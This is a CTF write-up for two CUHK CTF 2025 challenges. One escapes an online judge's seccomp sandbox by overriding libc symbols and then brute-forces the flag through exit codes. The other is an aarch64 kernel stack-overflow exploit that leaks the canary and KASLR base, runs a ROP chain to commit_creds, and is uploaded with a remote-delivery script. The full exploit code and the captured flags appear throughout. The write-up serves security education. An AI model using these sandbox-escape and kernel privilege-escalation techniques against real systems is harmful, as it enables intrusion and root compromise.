# CUHK CTF 2025 Writeup This writeup includes two of the challenges I have solved during CUHK CTF 2025. Our team finished #2 overall and #1 in CUHK division, which was totally out of my expectation, kudos to my teammates for this incredible journey. I mainly focused on pwn challenges during the CTF and have solved a few challenges in other categories. In particular I think the unintended solve I got for the challenge `MinPCC` is really interesting, maybe there could be a `MinPCC 2.0` challenge in the future? (hint hint) ## Challenges - [MinPCC](#Challenge-1-MinPCC) - [babi_rop Revenge](#Challenge-2-babi_rop-Revenge) ## Challenge #1: MinPCC ### Category: misc ### Author: F21endSh1p ### Difficulty: ★★☆☆ ### Description: > You know what, this is crazy. If you take CSCI2100A, they make you write data structures in C from scratch! And you have to type the entire code for the data structure in the programming exam! Good thing my typing speed is not bad... > > Anyways, the new programming assignment is released. I heard from a friend that there is some kind of vulnerability in the PC* system setup that they are using, so I wrote this new online judge, and I call it "MinPCC", "The minimalist's alternative to PC*". The system that they coded with so many lines of Java code, I just coded with three shell scripts. Why use some kind of framework only to code a small web application? Less code, less mistakes, less vulnerability. What can possibly go wrong? > > Also, while you are at it, can you do my assignment for me? Seems easy enough. It is totally because I am lazy, and definitely not because I cannot code. > > nc chall.25.cuhkctf.org 25012 ### Inspecting challenge files The challenge handout includes the files that set up a online code judge called "MinPCC". After connecting to the challenge remote, we can type in C source code as submission to solve the problem stated in `problem.pdf`. Skimming through the problem statement. We are provided a list of hashes as input, and the program has to answer 'YES' if the hash equals to the hash of the challenge flag and 'NO' otherwise. > **Sample Input** If the flag is cuhk25ctf{minpcc is very secure}, then the input: > 3 > 29199fd444cb4a731c5de120fd22a9ae1eac03964efc343d3817697f11a6b300 > 5b19468faec4dbf2a602177b825e4d47bb371fad74d75c23672429aeacaef8f4 > 29199fd444cb4a731c5de120fd22a9ae1eac03964efc343d3817697f11a6b300 > > **Sample Output** Should output: > YES > NO > YES Since we basically have no way to know the correct hash without knowing the flag content, our goal in this challenge should not be to get `Accepted` by the online judge, but rather to abuse hidden vulnerabilities that are present in the system. Reading `start.sh` we can see that the flag content might be inside a shell variable called `FLAG`. `start.sh` ```bash #!/bin/sh export SUBMISSIONS_DIR='./submissions' export EXE_DIR='./prog' export OUT_DIR='./out' export TC_DIR='./tc' export TIME_LIMIT='1s' export TC_COUNT=10 export TC_SUFFIX='.tc' export ANS_SUFFIX='.ans' if [ -z $FLAG ] ^^^^^ then echo "Something is wrong. Contact challenge author."; exit 1 fi ./setup.sh /usr/sbin/xinetd -dontfork ``` Reading `setup.sh` we can see that the `FLAG` variable is being used to generate test cases, which means that this variable should be a *global environment variable* instead of being local to the shell process that started `start.sh` (because local shell variables are not visible to child processes unless you *export* them), so our C program could possibly have access to the `FLAG` variable too. `setup.sh` ```bash #!/usr/bin/bash function gen_tc() { local TC_DIR=$1 for i in $(seq 1 $TC_COUNT) do local l_count=$(( ($RANDOM % 1000) + 1 )) local tc_file="$TC_DIR/${i}${TC_SUFFIX}" local tc_ans="$TC_DIR/${i}${ANS_SUFFIX}" echo "$l_count" > $tc_file for j in $(seq 1 $l_count) do local chance=$(( $RANDOM % 4 )) if [ $chance -eq 0 ] then echo -n $FLAG | sha256sum - | cut -d ' ' -f 1 >> $tc_file ^^^^^ echo "YES" >> $tc_ans else head -c 1024 /dev/urandom | sha256sum - | cut -d ' ' -f 1 >> $tc_file echo "NO" >> $tc_ans fi done done } if ! [ -d $TC_DIR ] then echo 'Generating testcases...' mkdir $TC_DIR gen_tc $TC_DIR fi echo 'Making directories...' mkdir -m a=rwx -p $SUBMISSIONS_DIR mkdir -m a=rwx -p $EXE_DIR mkdir -m a=rwx -p $OUT_DIR echo 'System ready.' ``` The last shell script `chall.sh` is the one that is actually responsible in reading and running our submitted C source code. `chall.sh` ```bash #!/usr/bin/bash cd $(dirname $0) set -u cat <<'EOT' =================================================== __ __ _____ _ _ _____ _____ _____ | \/ |_ _| \ | | __ \ / ____/ ____| | \ / | | | | \| | |__) | | | | | |\/| | | | | . ` | ___/| | | | | | | |_| |_| |\ | | | |___| |____ |_| |_|_____|_| \_|_| \_____\_____| MinPCC: Minimalistic Programming Challenge Checker =================================================== Shell scripts are all you need! Enter your C source file: (Type "EOF" in one line to end the file) EOT SRC='' while IFS= read line do if [[ $line != 'EOF' ]] then SRC="$SRC$line"$'\n' else break fi done SRC_ID=$(echo "$SRC" | sha256sum - | cut -d ' ' -f 1) SRC_PATH=$SUBMISSIONS_DIR/$SRC_ID.c if [ -e $SRC_PATH ] then echo -e "\x1b[93mThis file has already been submitted!\x1b[0m" echo -e "Verdict: \x1b[31mSubmission rejected\x1b[0m" exit 0 fi echo "$SRC" > $SRC_PATH EXE_PATH=$EXE_DIR/$SRC_ID if ! timeout 2s gcc -nostartfiles entrypoint.c "$SRC_PATH" -o "$EXE_PATH" then echo -e "Verdict: \x1b[31mCompilation Error\x1b[0m" exit 0 fi PROG_OUT=$OUT_DIR/$SRC_ID.out for i in $(seq 1 $TC_COUNT) do echo "Running Test ${i}..." timeout -k "$TIME_LIMIT" "$TIME_LIMIT" "$EXE_PATH" < "$TC_DIR/${i}${TC_SUFFIX}" &> "$PROG_OUT" case $? in 124) echo -e "Verdict: \x1b[31mTime Limit Exceeded\x1b[0m" exit 0 ;; 159) echo -e "Verdict: \x1b[31mSecurity Violation\x1b[0m" exit 0 ;; *) ;; esac if ! diff "$PROG_OUT" "${TC_DIR}/${i}${ANS_SUFFIX}" &> /dev/null then echo -e "Verdict: \x1b[31mWrong Answer\x1b[0m" exit 0 fi done echo -e "Verdict: \x1b[32mAccepted\x1b[0m" exit 0 ``` Obviously, it is dangerous for a code judge to run arbitrary user input without protection, so our source code is compiled together with `entrypoint.c`, which sets up a sandbox before running our code. (funny enough, this sandbox can actually be bypassed which is not intended, as you will see later) ```bash if ! timeout 2s gcc -nostartfiles entrypoint.c "$SRC_PATH" -o "$EXE_PATH" then echo -e "Verdict: \x1b[31mCompilation Error\x1b[0m" exit 0 fi ``` `entrypoint.c` ```c #include <linux/audit.h> #include <linux/filter.h> #include <linux/seccomp.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <unistd.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> int main(); void _start() { prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); struct sock_filter filter[] = { BPF_STMT(BPF_LD + BPF_W + BPF_ABS, offsetof(struct seccomp_data, nr)), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, SYS_read, 8, 0), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, SYS_write, 7, 0), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, SYS_fstat, 6, 0), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, SYS_newfstatat, 5, 0), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, SYS_getrandom, 4, 0), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, SYS_brk, 3, 0), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, SYS_exit, 2, 0), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, SYS_exit_group, 1, 0), BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL), BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW), }; struct sock_fprog arg = { .len = (sizeof(filter) / sizeof(filter[0])), .filter = filter }; if (syscall(SYS_seccomp, SECCOMP_SET_MODE_FILTER, 0, &arg)) { perror("seccomp"); puts("This is unintended. Contact challenge author."); } clearenv(); // hot fix syscall(SYS_exit, (unsigned char)main()); } ``` The seccomp filter only allows certain syscalls like `read`, `write` while blocking dangerous syscalls like `open` and `execve`. `clearenv()` also clears out the possible reference to the `FLAG` environment variable, so if we call `getenv("FLAG")` in our C source code, we would just get a `NULL` pointer. ### Finding the vulnerability It seems like our C source code has no access to the `FLAG` variable nor execute arbitrary code due to the sandbox. So at first I was looking for vulnerabilities in the bash scripts like *unquoted variable expansions*, *command injection* and so on, but that didn't go anywhere. Then an obscure hint was released on the challenge. `>pwn` What could this possibly mean? Obviously we are trying to pwn the system but there isn't a particular binary for us to exploit, I thought maybe this was hinting at a `sandbox escape`, so I take a look at `entrypoint.c` again. The program calls `prctl()` to block privilege escalation, then `syscall()` to setup the seccomp filter, and `clearenv()` to wipe the `FLAG` variable, what could possibly go wrong? The vulnerability lies in the *symbol resolution* process during compilation of the final executable, when multiple C source files uses the same variable names. The compiler must resolve them in a way that would not cause conflicts, what if we define our own `prctl()`, `syscall()`, and `clearenv()` and trick the compiler into using them instead? That would completely bypass the sandbox and hence gain us arbitrary code execution. The setup code would look like this: [^0] ```c extern int main(); extern int clearenv(void); extern int prctl(); extern long int syscall(long int __sysno, ...); long int syscall(long int __sysno, ...) { return 0; } int clearenv() { return 0; } int prctl() { return 0; } int main() { return 0; } ``` [^0]: Somehow the declaration for `syscall()` would need the correct function signature while it doesn't matter for others like `prctl()`, I suspect it could be due to it already having a function definition in the .h files included, if you know the root cause of this please let me know. We can verify our hypothesis by disassembling the executable with `objdump`. ```text $ gcc -nostartfiles entrypoint.c 1.c -o test $ objdump -M intel -d test ... 0000000000401030 <_start>: 401030: 55 push rbp 401031: 48 89 e5 mov rbp,rsp 401034: 48 83 ec 70 sub rsp,0x70 401038: 41 b8 00 00 00 00 mov r8d,0x0 40103e: b9 00 00 00 00 mov ecx,0x0 401043: ba 00 00 00 00 mov edx,0x0 401048: be 01 00 00 00 mov esi,0x1 40104d: bf 26 00 00 00 mov edi,0x26 401052: b8 00 00 00 00 mov eax,0x0 401057: e8 bc 01 00 00 call 401218 <prctl> ... 0000000000401218 <prctl>: 401218: 55 push rbp 401219: 48 89 e5 mov rbp,rsp 40121c: b8 00 00 00 00 mov eax,0x0 401221: 5d pop rbp 401222: c3 ret ``` Incredible! We have now completely disabled the sandbox, and can obtain the value of the `FLAG` variable by calling `getenv("FLAG").` However, when we try to run this executable, we will get a `segmentation fault` (classic C skill issue moment). A quick debug with `gdb` shows that it is segfaulting at the end of `_start`, which is after our code has finished anyway so we don't care :). ```text 0x40119e <_start+366> mov edi, 0x3c EDI => 0x3c 0x4011a3 <_start+371> mov eax, 0 EAX => 0 0x4011a8 <_start+376> call syscall <syscall> 0x4011ad <_start+381> nop 0x4011ae <_start+382> leave ► 0x4011af <_start+383> ret <1> ↓ ``` ### Exploitation I then added an `execve("/bin/sh")` in the C source code and did successfully spawn a shell locally, unfortunately when I tried it on remote, instead of a shell what I get is a `Wrong Answer` verdict. I was really confused and not sure if the whole approach is just wrong after all. Then I reread `chall.sh` and found that our code is actually ran on a timeout along with stdin and stdout connected to local files. ```bash PROG_OUT=$OUT_DIR/$SRC_ID.out for i in $(seq 1 $TC_COUNT) do echo "Running Test ${i}..." timeout -k "$TIME_LIMIT" "$TIME_LIMIT" "$EXE_PATH" < "$TC_DIR/${i}${TC_SUFFIX}" &> "$PROG_OUT" case $? in 124) echo -e "Verdict: \x1b[31mTime Limit Exceeded\x1b[0m" exit 0 ;; 159) echo -e "Verdict: \x1b[31mSecurity Violation\x1b[0m" exit 0 ;; *) ;; esac if ! diff "$PROG_OUT" "${TC_DIR}/${i}${ANS_SUFFIX}" &> /dev/null then echo -e "Verdict: \x1b[31mWrong Answer\x1b[0m" exit 0 fi done ``` This means that even if we have escaped the sandbox, the process will timeout after 1 second with stdin and stdout unavailable, so we couldn't even do anything with a shell ☹️☹️☹️☹️☹️. <sub> Update: I did manage to get a shell on remote after the contest ends, you can read the follow up post [here](https://hackmd.io/@Soltime5476/Sk_3SZeaex). </sub> With that said, at least we still have access to the `FLAG` variable, the goal now is then to exfiltrate this data out to us. The trick to do that lies on the verdict output. ```bash case $? in 124) echo -e "Verdict: \x1b[31mTime Limit Exceeded\x1b[0m" exit 0 ;; 159) echo -e "Verdict: \x1b[31mSecurity Violation\x1b[0m" exit 0 ;; *) ;; esac ``` This part of the code checks if our process's exit code is `124` or `159`, what is important is that we don't actually *need* a timeout or security violation to trigger them (remember, we already disabled the sandbox!). We can just call `exit(124)` or `exit(159)` in our code. So this essentially acts as a reliable oracle to tell us if our code does something right or wrong. I then came up with a brute force solution to crack the flag byte by byte. Since we already have access to the flag string, we can do comparisons on it, the flag always starts with `cuhk25ctf`, so `flag[0] == 'c'` should be `true` while `flag[0] == 'd'` should be `false`. The plan is to submit a C source file for *every guess* on *every index*. If the guess matches the current flag character, we do `exit(159)`, else we do `exit(124)`. ```c #include <unistd.h> #include <stdlib.h> extern int main(); extern int clearenv(void); extern int prctl(); extern long int syscall(long int __sysno, ...); long int syscall(long int __sysno, ...) { return 0; } int clearenv() { return 0; } int prctl() { return 0; } int main() { char *FLAG = getenv("FLAG"); // repeatedly edit this to if (FLAG[index] == GUESS) if (FLAG[0] == 'c') { exit(159); } exit(124); return 0; } ``` What's left is that we script the process where we edit the source code on every guess, then submitting it to remote to check if we get `Security Violation` to know the correct flag character, and finally cracking the flag. [^1] [^1]: If you have read all the way till here, you might have already figured out that the exit code approach still works even when the sandbox is enabled, which means all my work on disabling it is useless ☹️ (though I am still very happy to have come up with it), in fact, we don't even need to override the call to `clearenv()` to read the `FLAG` variable. According to the intended apporach, the key value pair is still stored on the stack as `FLAG=cuhk25ctf{...}` so we can just probe the stack to read it. I think what `clearenv()` does is to only set the `environ` symbol in libc to `NULL` so that we can't use `getenv()` to access it. (I was going to write the script myself but then my teammate sent me an AI generated script and it worked so ¯\\\_(ツ)_/¯) #### ---AI SLOP START--- ```py #!/usr/bin/env python3 import socket import sys import time import os import random import string from typing import Tuple HOST = "chall.25.cuhkctf.org" PORT = 25012 TIMEOUT = 6 def recv_all(sock: socket.socket) -> bytes: sock.settimeout(TIMEOUT) data = b"" try: while True: chunk = sock.recv(65536) if not chunk: break data += chunk except Exception: pass return data def _uniq_marker() -> str: rnd = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(12)) return f"// uniq {int(time.time())}-{os.getpid()}-{rnd}\n" def submit_source(source: str) -> Tuple[str, str]: with socket.create_connection((HOST, PORT), timeout=TIMEOUT) as s: banner = s.recv(8192).decode(errors="ignore") payload = _uniq_marker() + source if not payload.endswith("\n"): payload += "\n" payload += "EOF\n" s.sendall(payload.encode()) s.shutdown(socket.SHUT_WR) resp = recv_all(s).decode(errors="ignore") return banner, resp def check_if(index: int, expected_chr: chr) -> bool: uuid = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(12)) banner, resp = submit_source(""" #include <unistd.h> #include <stdlib.h> extern int main(); extern int clearenv(void); extern int prctl(); extern long int syscall(long int __sysno, ...); long int syscall(long int __sysno, ...) { return 0; } int clearenv() { return 0; } int prctl() { return 0; } int main() { // (UUID) char *FLAG = getenv("FLAG"); if (FLAG[INDEX] == 'CHR') { exit(159); } exit(124); return 0; } """.replace("(UUID)", uuid).replace("INDEX", str(index)).replace("CHR", expected_chr)) return resp.find(f"Security Violation") != -1 if __name__ == "__main__": flag = "cuhk25ctf" start = 9 while flag[-1] != "}": for i in range(33, 127): c = chr(i) if check_if(start, c): flag += c start += 1 print(flag) break ``` #### ---AI SLOP END--- ![epic flag brute forcing](https://hackmd.io/_uploads/B1CLOC3nex.png) And we finally get the flag: `cuhk25ctf{4773N710n_70_d3741L_15_4Ll_y0u_N33D}` :tada: --- ## Challenge #2: babi_rop Revenge ### Category: pwn ### Author: kylebot ### Difficulty: ★★★★ ### Description: > Brace yourself! It's time for you to start the journey of Linux kernel exploitation! > > FS: It is my fault that I messed up when patching the challenge. Please try this for real. > > nc chall.25.cuhkctf.org 25070 This is a relatively straight forward kernel exploitation challenge, though kernel exploitation itself on top of using the `aarch-64` architecture instead of `x86-64` made this challenge quite difficult to approach, so first I am going to document the environment setup I used to solve this challenge. ### Environment Setup The relevant challenge files are located in the `bin` directory. The `Image` file is the compressed linux kernel image, the `rootfs.cpio` file contains the system directory structure after starting the challenge. We can extract the kernel module `babi.ko` after extracting `rootfs.cpio`. ```bash $ mkdir root $ cd root $ cpio -idm < ../rootfs.cpio $ ls babi.ko bin dev etc flag init linuxrc proc sbin sys tmp usr ``` `babi.ko` is the vulnerable target we will be interacting to obtain `root` privilege, which you can analyze it using a decompiler, due to it being an `aarch-64` ELF, not many free decompilers support opening it, I personally used [cutter](https://cutter.re/). To debug the challenge locally, we would need the following: - [QEMU](https://www.qemu.org/download/) to run the kernel in an emulated environment. - [ARM GNU Toolchain](https://developer.arm.com/downloads/-/arm-gnu-toolchain-downloads) to compile our C code to ARM, and debug using ARM gdb. We then edit some start scripts to make our debugging job easier, first the start up script `start.sh`. We change the paths from `/home/ctf` to wherever our files are stored, we will also add the `-s` option to enable remote debugging using gdb on `localhost:1234`, and change `kaslr` to `nokaslr` to disable KASLR, just remember to reable it when your exploit is complete to ensure it actually works with KASLR on. ```bash qemu-system-aarch64 \ --snapshot \ -machine virt \ -initrd ./rootfs.cpio \ -kernel ./Image \ -append "console=ttyAMA0 init=/init panic=1000 oops=panic panic_on_warn=1 nokaslr" \ -monitor /dev/null \ -nographic \ -m 1G -smp cores=1 \ -cpu cortex-a76 \ -s ``` We will edit the `init` script present in the extracted `rootfs` to dump a copy of `/proc/kallsyms` which contains the address of all the kernel symbols. `init` ```bash #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t tmpfs none /dev mount -t tmpfs none /tmp mkdir /dev/pts mount -t devpts none /dev/pts mount -t devtmpfs devtmpfs /dev ip link set eth0 up udhcpc -i eth0 -s /etc/udhcp/simple.script insmod /babi.ko chmod 666 /dev/babi chmod 400 /flag cat /proc/kallsyms > /kallsyms ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ setsid cttyhack setuidgid 1000 sh #setsid cttyhack setuidgid 0 sh poweroff -f ``` Lastly, we will repack the `rootfs.cpio` file with a shell script to include our exploit binary and the edited `init` script. ```bash #!/bin/bash aarch64-linux-gnu-gcc -static solve.c -o rootfs/solve -s && cd rootfs && find . -print0 \ | cpio --null -ov --format=newc \ > ../rootfs.cpio \ ``` We can now run the challenge locally by running `start.sh` and run our exploit at `/solve`. We can debug the kernel by starting `gdb` and use the command `target remote localhost:1234`, and read the kernel symbol address in `/kallsyms` if needed. ### Inspecting challenge files `hint.txt` provided some information on the kernel mitigations enabled. ```text no PAC, no MTE, with PAN latest linux 6.12.y branch with no modification ``` `PAC` and `MTE` are `aarch-64` exclusive features that prevents us from accessing kernel memory in a mallicious way. `PAN` is the `aarch-64` equivalent of `SMAP` in x86-64. The kernel module `babi.ko` provides several interfaces for us to interact with it. ![kernel module functions](https://hackmd.io/_uploads/BkD2KC2hge.png) `babi_init` will create a file at `/dev/babi`, we can use syscalls like `open()` and `ioctl()` to trigger the corresponding functions in the module, the vulnerable code typically lies in the `ioctl` interface. ```c undefined8 sym.babi_ioctl(undefined8 placeholder_0, unsigned int cmd, long unsigned int arg) { undefined8 *puVar1; int64_t iVar2; uint64_t uVar3; int64_t iVar4; undefined8 uVar5; int64_t var_48h; undefined8 uStack_40; int64_t var_38h; undefined8 uStack_30; int64_t var_28h; int64_t var_20h; int64_t var_10h; iVar4 = sp_el0; var_28h = *(int64_t *)(iVar4 + 0x4d8); var_48h = 0; uStack_40 = 0; var_38h = 0; uStack_30 = 0; _printk(0x8000360, cmd, arg, 0); puVar1 = (undefined8 *)sp_el0; if (((*(uint32_t *)((int64_t)puVar1 + 0x2c) >> 0x15 & 1) != 0) || (uVar3 = arg, ((uint32_t)*puVar1 >> 0x1a & 1) != 0)) { uVar3 = (arg << 8) >> 8 & arg; } if ((uVar3 < 0xffffffffffff1) && (iVar4 = __arch_copy_from_user(&var_48h, arg & 0xff7fffffffffffff, 0x10), iVar4 == 0)) { if (cmd == 0x5700) { uVar5 = __arch_copy_to_user(var_48h, &var_38h, uStack_40); goto code_r0x08000168; } if (cmd == 0x5701) { uVar5 = __arch_copy_from_user(&var_38h, var_48h, uStack_40); goto code_r0x08000168; } } uVar5 = 0xffffffffffffffea; code_r0x08000168: iVar2 = sp_el0; iVar4 = var_28h - *(int64_t *)(iVar2 + 0x4d8); if (iVar4 != 0) { __stack_chk_fail(uVar5, iVar2, 0, iVar4); _printk(0x80002f0); _segment.ehdr = __register_chrdev(0, 0, 0x100, "babi", reloc.target..data); if (_segment.ehdr < 0) { _printk(0x8000318); uVar5 = 0xffffffea; } else { _obj.babi_class = class_create("babi_dev"); device_create(_obj.babi_class, 0, _segment.ehdr << 0x14, 0, "babi"); uVar5 = 0; } return uVar5; } return uVar5; } ``` From the following code we know we can call `ioctl` in two ways, `ioctl(fd, 0x5700, arg)` or `ioctl(fd, 0x5701, arg).` ```c if ((uVar3 < 0xffffffffffff1) && (iVar4 = __arch_copy_from_user(&var_48h, arg & 0xff7fffffffffffff, 0x10), iVar4 == 0)) { if (cmd == 0x5700) { uVar5 = __arch_copy_to_user(var_48h, &var_38h, uStack_40); goto code_r0x08000168; } if (cmd == 0x5701) { uVar5 = __arch_copy_from_user(&var_38h, var_48h, uStack_40); goto code_r0x08000168; } } ``` The earlier `if` statement shows that the kernel module expects `arg` to be a 16 bytes memory segment, which then are passed as *arguments* to the functions `copy_to_user` and `copy_from_user`, they are [kernel functions](https://elixir.bootlin.com/linux/v6.12.1/source/include/linux/uaccess.h#L205) responsible for copying data between userspace and kernel space. Reading the function signature for `copy_to_user` and `copy_from_user` indicates that the 16 bytes should be two 8 bytes values being the *address* of a buffer and the *size* to copy respectively. ```c unsigned long _copy_to_user(void __user * to, const void * from, unsigned n); unsigned long __copy_from_user(void * to, const void __user * from, unsigned long n); ``` I then construct a struct `REQ` for packing `arg` and a wrapper function `req_babi`. ```c #define to_usr 0x5700 #define from_usr 0x5701 struct REQ { uint64_t *buf; uint64_t sz; }; void req_babi(int fd, int cmd, struct REQ *r) { ioctl(fd, cmd, r); } ``` ### Exploitation The vulnerability in the kernel module is very simple, as the kernel module allows us to specify an *arbitary size* for copying user data, we can do a stack smashing attack and overwrite the program's saved return address with a ROP chain. Before overwriting the kernel stack, we would first want to do a `copy_to_user()` to read kernel memory on the stack, this allows us to view valuable data like the *stack canary* and the *saved pc* for a leak to bypass KASLR. ```c #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #define to_usr 0x5700 #define from_usr 0x5701 struct REQ { uint64_t *buf; uint64_t sz; }; void req_babi(int fd, int cmd, struct REQ *r) { ioctl(fd, cmd, r); } int main() { int fd = open("/dev/babi", O_RDWR); struct REQ s; struct REQ *req = &s; uint64_t buf[0x2000]; memset(buf, 0, sizeof(buf)); req->buf = (uint64_t *) &buf; req->sz = 0x200; req_babi(fd, to_usr, req); for (int i = 0; i < 10; i++) { printf("buf[%d]: %p\n", i, (char *) buf[i]); } return 0; } ``` Dumping our buffer after doing a `copy_to_user`, we can see `buf[2]` contains the canary (starts with 00) and `buf[4]` contains the saved pc, using `gdb` we can calculate that this address is `0x32fcd4` bytes away from KASLR base. [^2] We can now use this base address to get basically any kernel address we want. (when PAC and MTE are disabled of course) [^2]: This is ran on remote which has KASLR on, if you are running locally as long as you get the same offset you will be fine. ```text buf[0]: (nil) buf[1]: (nil) buf[2]: 0x6f273fce14d81800 buf[3]: 0xffff800080433dd0 buf[4]: 0xffffd02d8952fcd4 buf[5]: 0xfffffffffffffdfd buf[6]: 0xffff000003c6f840 buf[7]: 0xffff800080433e10 buf[8]: 0xffffd02d89227f28 buf[9]: 0xffff800080433eb0 ``` To obtain `root` privileges in the kernel, we will call `commit_creds(&init_cred)`, the kernel tracks the previleges of every process with a [cred](https://elixir.bootlin.com/linux/v6.12/source/include/linux/cred.h#L111) struct, calling `commit_creds(&init_cred)` changes our exploit process's `cred` struct by copying from `init_cred`, which is the `cred` struct of the `init` process that is run with `root` privileges, allowing us to become `root`. A gadget that sets the `x0` register is needed to call `commit_creds()`, I use `ROPgadget` to look for it in the kernel image file, which is stored inside `vmlinux.zip`. (the `Image` file used to run QEMU is compressed so don't run on it directly) ```shell $ unzip vmlinux.zip $ ROPgadget --binary vmlinux > gadgets ``` This is the particular gadget I used, make sure to check whether your gadget's address is actually inside an executable mapping. [^3] [^3]: See this [blog](https://blog.zolutal.io/joys-of-kernel-rop/) for some common pitfalls with finding ROP gadgets in the kernel. ```text Actual useful code starts at 0xffff8000810a6084 0xffff8000810a6070 : add x1, x1, #0x4e0 ; ldrb w2, [x1, w0, uxtw] ; b #0xffff8000810a5fc0 ; ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldr x0, [sp, #0x38] ; ldp x29, x30, [sp], #0x40 ; ret ``` After calling `commit_creds()` to obtain `root` previleges, we now need to return from kernel space to user space, and call `system("/bin/sh")` to obtain a root shell. Normally this would require calling more kernel functions while carefully restoring registers (which is painful), so here I used a trick from the challenge's author called `telefork`. Which basically avoids all that by calling `fork` and putting the original process to sleep forever with `msleep`, you can read more about it [here](https://blog.kylebot.net/2022/10/16/CVE-2022-1786/). #### final exploit code ```c #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #define to_usr 0x5700 #define from_usr 0x5701 #define OFFSET_1 0x32fcd4 uint64_t kaslr_base = 0; uint64_t commit_creds = 0xcca2c; uint64_t init_cred = 0x2851eb8; uint64_t msleep = 0x14c640; uint64_t sys_fork = 0x9d4d8; // 0xffff8000810a6070 : add x1, x1, #0x4e0 ; ldrb w2, [x1, w0, uxtw] ; b #0xffff8000810a5fc0 ; ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldr x0, [sp, #0x38] ; ldp x29, x30, [sp], #0x40 ; ret uint64_t gadget1_addr = 0x10a6084; struct REQ { uint64_t *buf; uint64_t sz; }; void req_babi(int fd, int cmd, struct REQ *r) { ioctl(fd, cmd, r); } int main() { int fd = open("/dev/babi", O_RDWR); struct REQ s; struct REQ *req = &s; uint64_t buf[0x2000]; memset(buf, 0, sizeof(buf)); req->buf = (uint64_t *) &buf; req->sz = 0x200; req_babi(fd, to_usr, req); uint64_t canary = buf[2]; uint64_t saved_pc = buf[4]; kaslr_base = saved_pc - OFFSET_1; commit_creds += kaslr_base; init_cred += kaslr_base; msleep += kaslr_base; sys_fork += kaslr_base; gadget1_addr += kaslr_base; printf("kaslr base: %p\n", (char *) kaslr_base); printf("gadget at: %p\n", (char *) gadget1_addr); printf("commit_creds at: %p\n", (char *) commit_creds); printf("init_cred at: %p\n", (char *) init_cred); printf("msleep at: %p\n", (char *) msleep); printf("sys_fork at: %p\n", (char *) sys_fork); req->sz = 0x200; // ldr x0, [sp, #0x38] ; ldp x29, x30, [sp], #0x40 ; ret buf[0] = 0x6969696969696969; // marker buf[4] = gadget1_addr; buf[7] = buf[3]; // <= sp after saved_pc is overwritten buf[8] = commit_creds + 4; // jump past the first instruction to avoid infinite recursion buf[14] = init_cred; buf[15] = sys_fork; // <= sp when calling commit_creds buf[16] = gadget1_addr; buf[19] = msleep; buf[26] = 0x1000000000; // puts("Waiting..."); // getchar(); req_babi(fd, from_usr, req); close(fd); system("/bin/sh"); return 0; } ``` After writing the final exploit in C, we would need to run it on remote, however the remote environment do not come with a compiler normally. So we have to compile our binary locally and send it to remote, the typical workflow is: - compile the exploit (statically and strip the symbols to reduce size) - zip it to further reduce size - encode it in base64 and send to remote - decode base64 on remote and unzip the exploit - run the exploit to get a root shell #### python code for sending exploit to remote and running it ```py from pwn import * import os import base64 context.encoding = "l1" gcc_path = "~/lib/arm-gnu-toolchain-14.3.rel1-x86_64-aarch64-none-linux-gnu/bin/aarch64-none-linux-gnu-gcc" def recompile(): os.system(f"{gcc_path} -static solve.c -o solve -s") os.system("zip solve.zip ./solve") recompile() with open("./solve.zip", "rb") as f: exp = base64.b64encode(f.read()) info(f"zip size: {len(exp)}") p = remote("chall.25.cuhkctf.org", 25070) send_count = 0x200 for i in range(0, len(exp), send_count): p.sendlineafter(b"~ $", b"echo -n \"" + exp[i:i + send_count] + b"\" >> /tmp/exp.zip.b64") p.recvuntil(b"~ $") p.sendline(b"cd /tmp") p.sendline(b"base64 -d exp.zip.b64 > exp.zip") p.sendline(b"unzip exp.zip") p.sendline(b"chmod 755 solve") p.sendline(b"./solve") p.sendline(b"cat /flag") p.interactive() ``` And we finally get the flag: `cuhk25ctf{m0dpr0b3_p47h_15_d34d_l0n6_l1v3_c0r3_p4773rn_e65b0f1057f58718bdcc6d9e84271a4e}` :tada: